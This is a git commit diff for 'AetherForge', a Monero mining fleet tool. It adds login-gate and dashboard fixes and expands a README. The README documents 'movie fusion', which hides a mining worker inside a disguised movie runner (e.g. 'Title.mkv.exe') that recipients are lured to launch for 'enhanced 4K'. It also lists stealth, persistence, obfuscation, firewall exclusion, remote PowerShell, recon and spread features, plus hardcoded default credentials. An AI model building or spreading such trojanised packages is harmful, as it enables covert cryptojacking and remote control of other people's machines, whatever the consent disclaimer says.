Fix dashboard black screen, add login gate, and expand README.
Pin React Three Fiber to React 18, remove PWA caching, add SessionGate and error boundaries, and document movie fusion, auth, outputs, and troubleshooting.
This commit is contained in:
159
README.md
159
README.md
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
**Private Monero fleet command deck for machines you own.**
|
**Private Monero fleet command deck for machines you own.**
|
||||||
|
|
||||||
One Windows control PC. One dashboard. Forge a worker installer per machine — or fuse it inside your own prep tool — and watch your entire LAN hash from a single steampunk-neon command deck.
|
One Windows control PC. One dashboard. Forge a worker installer per machine — fuse it inside your own prep tool or a movie package — and watch your entire LAN hash from a single steampunk-neon command deck.
|
||||||
|
|
||||||
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
||||||
|
|
||||||
@@ -10,18 +10,19 @@ No pool hopping through third-party dashboards. No per-rig SSH babysitting. You
|
|||||||
|
|
||||||
```
|
```
|
||||||
┌─────────────────────────────────────────────────────────────┐
|
┌─────────────────────────────────────────────────────────────┐
|
||||||
│ CALIBRATE (Settings) pool · wallet · alerts · limits │
|
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
||||||
│ │ │
|
│ │ │
|
||||||
│ ▼ │
|
│ ▼ │
|
||||||
│ FORGE (Builder) per-worker .exe baked at compile │
|
│ FORGE (Builder) worker .exe · prep fusion · movies │
|
||||||
│ │ │
|
│ │ │
|
||||||
│ ├──► Fusion? embed worker inside your prep.exe │
|
│ ├──► Prep fusion embed worker in your prep.exe │
|
||||||
|
│ ├──► Movie fusion locked media + runner + ZIP │
|
||||||
│ │ │
|
│ │ │
|
||||||
│ ▼ │
|
│ ▼ │
|
||||||
│ WORKER PC RandomX on CPU · WebSocket home │
|
│ WORKER PC RandomX on CPU · WebSocket home │
|
||||||
│ │ │
|
│ │ │
|
||||||
│ ▼ │
|
│ ▼ │
|
||||||
│ COMMAND DECK live stats · remote ops · shares │
|
│ COMMAND DECK live stats · 3D map · remote ops │
|
||||||
└─────────────────────────────────────────────────────────────┘
|
└─────────────────────────────────────────────────────────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -33,40 +34,73 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
|||||||
|
|
||||||
| Layer | What it does |
|
| Layer | What it does |
|
||||||
|-------|----------------|
|
|-------|----------------|
|
||||||
| **Control server** | Go backend on port **8989** — REST API, WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||||
| **Command deck** | React dashboard — fleet overview, agent roster, forge builder, calibrate settings, field guide |
|
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
|
||||||
| **Worker agent** | Windows binary compiled on demand — mines RandomX, phones home, accepts remote commands |
|
| **Worker agent** | Windows binary compiled on demand — mines RandomX, phones home, accepts remote commands |
|
||||||
| **Fusion** | Optional bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||||
|
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
||||||
|
|
||||||
You configure defaults once in **Calibrate**. You forge once per machine in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## What You Get
|
## What You Get
|
||||||
|
|
||||||
### Command Deck (Dashboard)
|
### Command Deck (Dashboard)
|
||||||
|
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
|
||||||
- Live fleet hashrate, CPU/RAM gauges, share feed
|
- Live fleet hashrate, CPU/RAM gauges, share feed
|
||||||
|
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
|
||||||
- Per-agent cards with pause / resume / stop / uninstall
|
- Per-agent cards with pause / resume / stop / uninstall
|
||||||
- Fleet alerts (offline, hashrate drop, rejection spikes)
|
- Fleet alerts (offline, hashrate drop, rejection spikes)
|
||||||
- Pool connection status, earnings estimate, AI activity panel
|
- Pool connection status, earnings estimate, AI activity panel
|
||||||
|
- Optional matrix stream overlay
|
||||||
|
|
||||||
### Fleet Roster (Agents)
|
### Fleet Roster (Agents)
|
||||||
- Every connected worker — hostname, IP, cores, memory, uptime
|
- Every connected worker — hostname, IP, cores, memory, uptime
|
||||||
- Hashrate history charts
|
- Hashrate history charts
|
||||||
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload
|
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload
|
||||||
- Agent log viewer (when file logging is enabled)
|
- Agent log viewer (when file logging is enabled)
|
||||||
|
- Fleet filters, bulk commands, notes/tags
|
||||||
|
|
||||||
### Forge (Miner Builder)
|
### Forge (Miner Builder)
|
||||||
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
||||||
- Blueprint save/load — re-forge the same profile across machines
|
- Blueprint save/load — re-forge the same profile across machines
|
||||||
- Build manager — download, paths, LAN QR for worker URL
|
- Build manager — download, paths, LAN QR for worker URL
|
||||||
- **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon and version info; optional Garble obfuscation and Authenticode signing
|
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode signing
|
||||||
|
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below)
|
||||||
|
- **Batch forge** — queue many movies; progress bar; one ZIP per title
|
||||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||||
|
|
||||||
|
### Movie Fusion (detailed)
|
||||||
|
|
||||||
|
Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file.
|
||||||
|
|
||||||
|
| Mode | Best for | What you get |
|
||||||
|
|------|----------|----------------|
|
||||||
|
| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside |
|
||||||
|
| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables/<Title>/` |
|
||||||
|
|
||||||
|
**Paired layout** (example `Vacation`):
|
||||||
|
|
||||||
|
```
|
||||||
|
fusion-deliverables/Vacation/
|
||||||
|
├── README.txt ← tells user to run the runner for “enhanced 4K”
|
||||||
|
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner only
|
||||||
|
├── Vacation.mkv.cmdata ← encrypted media (hidden)
|
||||||
|
└── Vacation.mkv.lnk ← shortcut with --locked (MessageBox: use runner)
|
||||||
|
```
|
||||||
|
|
||||||
|
- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*`
|
||||||
|
- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP)
|
||||||
|
- **Agent is only inside the runner** — not a loose miner file in the package
|
||||||
|
|
||||||
|
**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).
|
||||||
|
|
||||||
### Calibrate (Settings)
|
### Calibrate (Settings)
|
||||||
- Server port, public URL, data retention, max agents
|
- Server port, public URL, data retention, max agents
|
||||||
- Default pool + wallet for new forge forms
|
- Default pool + wallet for new forge forms
|
||||||
|
- **Users** — add/change API accounts (default until `data/users.json` exists: see Quick Start)
|
||||||
- Alert thresholds + Telegram / email notifications
|
- Alert thresholds + Telegram / email notifications
|
||||||
- Open Windows Firewall for dashboard port on startup
|
- Open Windows Firewall for dashboard port on startup
|
||||||
|
|
||||||
@@ -75,6 +109,7 @@ You configure defaults once in **Calibrate**. You forge once per machine in **Fo
|
|||||||
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
|
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
|
||||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide`
|
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide`
|
||||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||||
|
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -83,27 +118,43 @@ You configure defaults once in **Calibrate**. You forge once per machine in **Fo
|
|||||||
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
|
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
|
||||||
|
|
||||||
1. Double-click **`run.bat`** in the project root.
|
1. Double-click **`run.bat`** in the project root.
|
||||||
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
|
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
|
||||||
|
|
||||||
2. Browser opens **http://localhost:8989**
|
2. Browser opens **http://localhost:8989**
|
||||||
|
|
||||||
3. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers
|
3. **Sign in** when prompted (default credentials below)
|
||||||
|
|
||||||
4. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer**
|
4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers
|
||||||
|
|
||||||
5. Run the forged `.exe` **once** on each worker PC
|
5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer**
|
||||||
|
For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)
|
||||||
|
|
||||||
6. Watch them appear on **Command Deck** and **Fleet Roster**
|
6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy)
|
||||||
|
|
||||||
|
7. Watch them appear on **Command Deck** and **Fleet Roster**
|
||||||
|
|
||||||
|
### Default login
|
||||||
|
|
||||||
|
| Field | Value |
|
||||||
|
|-------|--------|
|
||||||
|
| Username | `drjones` |
|
||||||
|
| Password | `czapiewski` |
|
||||||
|
|
||||||
|
Change or add users under **Calibrate → Users** (writes `data/users.json`).
|
||||||
|
API routes under `/api/v1/*` require Basic auth; static dashboard and `/ws/dashboard` do not.
|
||||||
|
|
||||||
### Output locations
|
### Output locations
|
||||||
|
|
||||||
| Artifact | Where |
|
| Artifact | Where |
|
||||||
|----------|--------|
|
|----------|--------|
|
||||||
| Fused / forged exe (primary) | Project root — e.g. `G:\crypto miner\prep.exe` or `install-worker.exe` |
|
| Fused / forged exe (primary) | Project root — e.g. `prep.exe` or `install-worker.exe` |
|
||||||
|
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
|
||||||
| Archive copy | `data\builds\{build-id}\` |
|
| Archive copy | `data\builds\{build-id}\` |
|
||||||
| Uninstall script | Same build folder + download API |
|
| Uninstall script | Same build folder + download API |
|
||||||
| Server config | `data\config.json` |
|
| Server config | `data\config.json` |
|
||||||
| Fleet database | `data\miner.db` |
|
| Fleet database | `data\miner.db` |
|
||||||
|
| Dashboard build (source) | `server\web\dist\` |
|
||||||
|
| Dashboard build (served) | `server\webroot\` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -116,22 +167,30 @@ You configure defaults once in **Calibrate**. You forge once per machine in **Fo
|
|||||||
|
|
||||||
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.
|
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.
|
||||||
|
|
||||||
|
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Project Layout
|
## Project Layout
|
||||||
|
|
||||||
```
|
```
|
||||||
crypto miner/
|
crypto miner/
|
||||||
├── run.bat ← one-click build + launch
|
├── run.bat ← one-click build + launch
|
||||||
├── bin/
|
├── bin/
|
||||||
│ └── miner-server.exe
|
│ └── miner-server.exe
|
||||||
├── data/ ← config, DB, builds, preps, logs
|
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||||
├── server/ ← Go control server
|
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||||
│ └── web/ ← React command deck (Vite)
|
├── server/
|
||||||
├── agent/ ← Windows worker source (compiled by Forge)
|
│ ├── main.go
|
||||||
├── fusion/ ← prep + worker bundler
|
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||||
├── PROBLEMS.md ← known issues audit (severity-ranked)
|
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||||
└── README.md ← you are here
|
│ └── internal/
|
||||||
|
│ ├── api/ ← HTTP routes, WebSocket, auth
|
||||||
|
│ └── builder/ ← forge + fusion + ZIP + media crypto
|
||||||
|
├── agent/ ← Windows worker source (compiled by Forge)
|
||||||
|
├── fusion/ ← prep + movie runner (embed, decrypt, play)
|
||||||
|
├── PROBLEMS.md ← known issues audit (severity-ranked)
|
||||||
|
└── README.md ← you are here
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -140,10 +199,12 @@ crypto miner/
|
|||||||
|
|
||||||
| Method | Path | Purpose |
|
| Method | Path | Purpose |
|
||||||
|--------|------|---------|
|
|--------|------|---------|
|
||||||
| GET | `/api/v1/health` | Health check |
|
| GET | `/api/v1/health` | Health check (no auth) |
|
||||||
| GET/PUT | `/api/v1/config` | Calibrate settings |
|
| GET/PUT | `/api/v1/config` | Calibrate settings |
|
||||||
| POST | `/api/v1/builder/build` | Forge worker (multipart if Fusion) |
|
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
|
||||||
|
| GET | `/api/v1/builds` | List builds |
|
||||||
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
|
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
|
||||||
|
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
|
||||||
| GET | `/api/v1/agents` | Fleet list |
|
| GET | `/api/v1/agents` | Fleet list |
|
||||||
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
|
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
|
||||||
| WS | `/ws/agent` | Worker connection |
|
| WS | `/ws/agent` | Worker connection |
|
||||||
@@ -161,12 +222,49 @@ npm install
|
|||||||
npm run build
|
npm run build
|
||||||
|
|
||||||
cd ..\..
|
cd ..\..
|
||||||
cd server
|
xcopy /E /I /Y server\web\dist\* server\webroot\
|
||||||
go build -o ..\bin\miner-server.exe .
|
|
||||||
|
|
||||||
|
cd server
|
||||||
|
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .
|
||||||
|
|
||||||
|
cd ..
|
||||||
bin\miner-server.exe -port 8989 -data .\data
|
bin\miner-server.exe -port 8989 -data .\data
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Open **http://localhost:8989** and sign in with your configured users.
|
||||||
|
|
||||||
|
### Dashboard dev server
|
||||||
|
|
||||||
|
```bat
|
||||||
|
cd server\web
|
||||||
|
npm run dev
|
||||||
|
```
|
||||||
|
|
||||||
|
Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately.
|
||||||
|
|
||||||
|
### Tech stack (dashboard)
|
||||||
|
|
||||||
|
| Package | Version policy |
|
||||||
|
|---------|----------------|
|
||||||
|
| React | 18.x |
|
||||||
|
| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) |
|
||||||
|
| `@react-three/drei` | 9.x |
|
||||||
|
| Vite | 5.x |
|
||||||
|
|
||||||
|
**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
| Symptom | Likely cause | Fix |
|
||||||
|
|---------|----------------|-----|
|
||||||
|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
|
||||||
|
| Login loop / 401 | Wrong password or `users.json` | Use Calibrate → Users or default `drjones` / `czapiewski` |
|
||||||
|
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `run.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||||
|
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||||
|
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Known Issues
|
## Known Issues
|
||||||
@@ -187,7 +285,7 @@ By using this software you agree that:
|
|||||||
|
|
||||||
1. **You will only deploy workers on systems you control** or have **written permission** to manage.
|
1. **You will only deploy workers on systems you control** or have **written permission** to manage.
|
||||||
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
|
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
|
||||||
3. **You will not** use Fusion, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
|
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
|
||||||
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
|
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
|
||||||
|
|
||||||
### What this is NOT
|
### What this is NOT
|
||||||
@@ -204,8 +302,9 @@ By using this software you agree that:
|
|||||||
|
|
||||||
### Security responsibility
|
### Security responsibility
|
||||||
|
|
||||||
- The dashboard and API **ship without authentication** by default. **Do not** expose port 8989 to the public internet without adding your own access controls (VPN, firewall allowlist, reverse proxy auth).
|
- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
|
||||||
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
|
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
|
||||||
|
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.
|
||||||
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.
|
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.
|
||||||
|
|
||||||
### Disclaimer
|
### Disclaimer
|
||||||
|
|||||||
@@ -207,7 +207,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// SPA fallback - serve index.html
|
// SPA fallback - serve index.html (never cache: hashed assets change each build)
|
||||||
|
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
||||||
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -10,6 +10,19 @@
|
|||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div id="root"></div>
|
<div id="root"></div>
|
||||||
|
<script>
|
||||||
|
(function () {
|
||||||
|
if (!('serviceWorker' in navigator)) return;
|
||||||
|
navigator.serviceWorker.getRegistrations().then(function (regs) {
|
||||||
|
regs.forEach(function (r) { r.unregister(); });
|
||||||
|
});
|
||||||
|
if (window.caches) {
|
||||||
|
caches.keys().then(function (keys) {
|
||||||
|
keys.forEach(function (k) { caches.delete(k); });
|
||||||
|
});
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
<script type="module" src="/src/main.tsx"></script>
|
<script type="module" src="/src/main.tsx"></script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
4313
server/web/package-lock.json
generated
4313
server/web/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -10,8 +10,8 @@
|
|||||||
"test": "vitest run"
|
"test": "vitest run"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@react-three/drei": "^10.7.7",
|
"@react-three/drei": "^9.114.0",
|
||||||
"@react-three/fiber": "^9.6.1",
|
"@react-three/fiber": "^8.17.10",
|
||||||
"@types/qrcode": "^1.5.6",
|
"@types/qrcode": "^1.5.6",
|
||||||
"@types/three": "^0.184.1",
|
"@types/three": "^0.184.1",
|
||||||
"qrcode": "^1.5.4",
|
"qrcode": "^1.5.4",
|
||||||
@@ -19,8 +19,7 @@
|
|||||||
"react-dom": "^18.2.0",
|
"react-dom": "^18.2.0",
|
||||||
"react-router-dom": "^6.20.0",
|
"react-router-dom": "^6.20.0",
|
||||||
"recharts": "^2.10.0",
|
"recharts": "^2.10.0",
|
||||||
"three": "^0.184.0",
|
"three": "^0.170.0"
|
||||||
"vite-plugin-pwa": "^1.3.0"
|
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@types/react": "^18.2.37",
|
"@types/react": "^18.2.37",
|
||||||
|
|||||||
@@ -1,24 +1,39 @@
|
|||||||
|
import { lazy, Suspense } from 'react';
|
||||||
import { Routes, Route, Navigate } from 'react-router-dom';
|
import { Routes, Route, Navigate } from 'react-router-dom';
|
||||||
|
import SessionGate from './components/SessionGate';
|
||||||
import Layout from './components/Layout/Layout';
|
import Layout from './components/Layout/Layout';
|
||||||
import DashboardPage from './pages/DashboardPage';
|
|
||||||
import AgentsPage from './pages/AgentsPage';
|
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||||
import BuilderPage from './pages/BuilderPage';
|
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||||
import SettingsPage from './pages/SettingsPage';
|
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
|
||||||
import GuidePage from './pages/GuidePage';
|
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||||
|
const GuidePage = lazy(() => import('./pages/GuidePage'));
|
||||||
|
|
||||||
|
function PageFallback() {
|
||||||
|
return (
|
||||||
|
<div className="session-gate" style={{ minHeight: '40vh' }}>
|
||||||
|
<p className="font-tech">Loading…</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
function App() {
|
function App() {
|
||||||
return (
|
return (
|
||||||
|
<SessionGate>
|
||||||
<Layout>
|
<Layout>
|
||||||
<Routes>
|
<Suspense fallback={<PageFallback />}>
|
||||||
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
<Routes>
|
||||||
<Route path="/dashboard" element={<DashboardPage />} />
|
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
||||||
<Route path="/agents" element={<AgentsPage />} />
|
<Route path="/dashboard" element={<DashboardPage />} />
|
||||||
<Route path="/forge" element={<BuilderPage />} />
|
<Route path="/agents" element={<AgentsPage />} />
|
||||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
<Route path="/forge" element={<BuilderPage />} />
|
||||||
<Route path="/guide" element={<GuidePage />} />
|
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||||
<Route path="/settings" element={<SettingsPage />} />
|
<Route path="/guide" element={<GuidePage />} />
|
||||||
</Routes>
|
<Route path="/settings" element={<SettingsPage />} />
|
||||||
|
</Routes>
|
||||||
|
</Suspense>
|
||||||
</Layout>
|
</Layout>
|
||||||
|
</SessionGate>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
39
server/web/src/components/ErrorBoundary.tsx
Normal file
39
server/web/src/components/ErrorBoundary.tsx
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
import { Component, type ErrorInfo, type ReactNode } from 'react';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
children: ReactNode;
|
||||||
|
fallback?: ReactNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface State {
|
||||||
|
error: Error | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default class ErrorBoundary extends Component<Props, State> {
|
||||||
|
state: State = { error: null };
|
||||||
|
|
||||||
|
static getDerivedStateFromError(error: Error): State {
|
||||||
|
return { error };
|
||||||
|
}
|
||||||
|
|
||||||
|
componentDidCatch(error: Error, info: ErrorInfo) {
|
||||||
|
console.error('UI error:', error, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
if (this.state.error) {
|
||||||
|
return (
|
||||||
|
this.props.fallback ?? (
|
||||||
|
<div className="error-boundary-fallback card">
|
||||||
|
<h3>Something failed to render</h3>
|
||||||
|
<p className="form-hint">{this.state.error.message}</p>
|
||||||
|
<button type="button" className="btn btn-primary" onClick={() => this.setState({ error: null })}>
|
||||||
|
Retry
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return this.props.children;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -205,7 +205,7 @@
|
|||||||
|
|
||||||
.main-content {
|
.main-content {
|
||||||
flex: 1;
|
flex: 1;
|
||||||
margin-left: 260px;
|
margin-left: 0;
|
||||||
padding: 2rem 2.5rem;
|
padding: 2rem 2.5rem;
|
||||||
min-height: 100vh;
|
min-height: 100vh;
|
||||||
position: relative;
|
position: relative;
|
||||||
@@ -243,7 +243,7 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
.main-content {
|
.main-content {
|
||||||
margin-left: 72px;
|
margin-left: 0;
|
||||||
padding: 1rem;
|
padding: 1rem;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
73
server/web/src/components/SessionGate.tsx
Normal file
73
server/web/src/components/SessionGate.tsx
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
import { useEffect, useState, type ReactNode } from 'react';
|
||||||
|
import { getStoredAuth, setStoredAuth } from '../api/auth';
|
||||||
|
|
||||||
|
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||||
|
const [ready, setReady] = useState(false);
|
||||||
|
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||||
|
const [user, setUser] = useState('drjones');
|
||||||
|
const [pass, setPass] = useState('');
|
||||||
|
const [err, setErr] = useState('');
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const token = getStoredAuth();
|
||||||
|
if (!token) {
|
||||||
|
setReady(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } })
|
||||||
|
.then((r) => {
|
||||||
|
setAuthed(r.ok);
|
||||||
|
setReady(true);
|
||||||
|
})
|
||||||
|
.catch(() => setReady(true));
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleLogin = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setErr('');
|
||||||
|
const token = btoa(`${user}:${pass}`);
|
||||||
|
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||||
|
if (!res.ok) {
|
||||||
|
setErr('Login failed — check username and password.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setStoredAuth(user, pass);
|
||||||
|
setAuthed(true);
|
||||||
|
};
|
||||||
|
|
||||||
|
if (!ready) {
|
||||||
|
return (
|
||||||
|
<div className="session-gate">
|
||||||
|
<p className="font-tech">Starting AetherForge…</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!authed) {
|
||||||
|
return (
|
||||||
|
<div className="session-gate">
|
||||||
|
<form className="session-gate-card card" onSubmit={handleLogin}>
|
||||||
|
<h1 className="font-display">AetherForge</h1>
|
||||||
|
<p className="form-hint">Sign in to open the command deck.</p>
|
||||||
|
<label className="label">Username</label>
|
||||||
|
<input className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
|
||||||
|
<label className="label">Password</label>
|
||||||
|
<input
|
||||||
|
className="input"
|
||||||
|
type="password"
|
||||||
|
value={pass}
|
||||||
|
onChange={(e) => setPass(e.target.value)}
|
||||||
|
autoComplete="current-password"
|
||||||
|
/>
|
||||||
|
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
|
||||||
|
<button type="submit" className="btn btn-primary btn-lg">
|
||||||
|
Enter Command Deck
|
||||||
|
</button>
|
||||||
|
<p className="form-hint">Default: drjones / czapiewski (change under Calibrate → Users)</p>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return <>{children}</>;
|
||||||
|
}
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
